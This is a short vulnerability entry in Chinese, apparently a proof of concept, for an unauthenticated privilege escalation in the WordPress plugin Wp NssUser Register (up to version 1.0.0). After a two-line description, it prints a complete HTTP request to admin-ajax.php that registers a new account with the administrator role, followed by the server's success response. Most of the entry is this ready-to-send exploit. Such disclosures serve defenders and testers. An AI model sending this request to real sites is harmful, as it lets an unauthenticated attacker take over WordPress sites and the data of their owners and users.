Wp NssUser Register <= 1.0.0 - 未认证的权限提升
WordPress 的 Wp NssUser Register 插件在所有版本（含 1.0.0）中均存在权限提升漏洞。这使得未经认证的攻击者能够以管理员身份在网站上进行注册。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Referer: http://example.com/
action=nssTheme_registration_form&rgName=admin2&[email protected]&rgFname=Attacker&rgLname=User&rgRole=administrator&rg_pass=evilpass
<p>successful, just Check this: </p> <a href="https://wp-dev.ddev.site/wp-login.php" title="Login">Login</a>